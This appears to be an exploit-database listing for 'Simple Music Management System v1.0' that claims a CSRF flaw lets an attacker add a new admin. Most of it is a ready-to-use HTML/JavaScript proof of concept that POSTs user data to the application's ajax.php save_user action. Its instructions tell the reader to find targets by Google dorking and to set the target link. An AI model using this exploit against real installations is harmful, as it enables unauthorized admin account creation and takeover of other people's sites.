Share
## https://sploitus.com/exploit?id=PACKETSTORM:181894
=============================================================================================================================================  
| # Title : Simple Music Management System v1.0 CSRF Add ADmin Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits) |  
| # Vendor : https://www.kashipara.com/project/php/12978/music-management-system-in-php-php-project-source-code |  
=============================================================================================================================================  
  
POC :  
  
[+] Dorking ฤฐn Google Or Other Search Enggine.  
  
[+] The following html code add new admin .  
  
[+] Go to the line 35.  
  
[+] Set the target site link Save changes and apply .   
  
[+] save code as poc.html .  
  
<!DOCTYPE html>  
<html lang="en">  
<head>  
<meta charset="UTF-8">  
<meta name="viewport" content="width=device-width, initial-scale=1.0">  
<title>User Registration</title>  
</head>  
<body>  
  
<h2>User Registration</h2>  
<form id="userForm" enctype="multipart/form-data">  
<label for="email">User Name:</label>  
<input type="email" id="email" name="email" required><br><br>  
  
<label for="password">Password:</label>  
<input type="password" id="password" name="password" required><br><br>  
  
<div class="form-group">  
<label for="" class="control-label">Avatar</label>  
<div class="custom-file">  
<input type="file" class="custom-file-input rounded-circle" id="customFile" name="img" onchange="displayImg(this,$(this))">  
<label class="custom-file-label" for="customFile">Choose file</label>  
</div>  
</div>  
  
<input type="button" value="Save User" onclick="saveUser()">  
</form>  
  
<script>  
function saveUser() {  
var form = document.getElementById('userForm');  
var formData = new FormData(form);  
  
var xhr = new XMLHttpRequest();  
xhr.open("POST", "http://127.0.0.1/music/ajax.php?action=save_user", true);  
  
xhr.onload = function () {  
if (xhr.status === 200) {  
alert('User saved successfully');  
} else {  
alert('An error occurred while saving the user');  
}  
};  
  
xhr.send(formData);  
}  
</script>  
  
</body>  
</html>  
  
Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================